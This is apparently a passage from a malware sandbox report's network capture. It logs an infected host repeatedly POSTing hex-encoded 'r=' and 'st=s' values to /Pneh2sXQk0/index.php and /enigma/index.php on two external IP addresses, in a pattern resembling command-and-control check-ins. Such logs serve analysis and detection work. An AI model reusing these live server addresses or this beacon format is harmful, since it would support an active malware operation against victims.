Apr 19, 2024 03:35:25.805366993 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:26.052229881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.5	51041	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:25.908648014 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:26.150096893 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.5	51042	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:26.403111935 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:26.651443958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.5	51043	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:26.404217005 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:26.657813072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.5	51044	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:26.897315979 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:27.143723965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.5	51045	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:27.026458025 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:27.274076939 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.5	51046	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:27.489200115 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:27.734047890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.5	51047	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:27.525182962 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:27.778274059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.5	51048	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:27.984570026 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:28.232873917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.5	51049	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:28.139039993 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:28.387048960 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.5	51050	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:28.587800026 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:28.834525108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.5	51051	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:28.639159918 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:28.891321898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.5	51052	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:29.090085983 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:29.343575954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.5	51053	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:29.242252111 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:29.488976955 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.5	51054	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:29.694365978 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:29.938884020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.5	51055	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:29.747419119 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:30.004163027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.5	51056	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:30.191020012 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:30.443958998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.5	51057	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:30.367753983 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:30.611819983 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.5	51058	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:30.804811954 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:31.050292015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.5	51059	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:30.856894970 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:31.101797104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.5	51060	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:31.298693895 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:31.546905041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.5	51061	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:31.462999105 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:31.706831932 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.5	51062	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:31.893002987 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:32.134742975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.5	51063	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:31.963516951 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:32.216950893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.5	51064	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
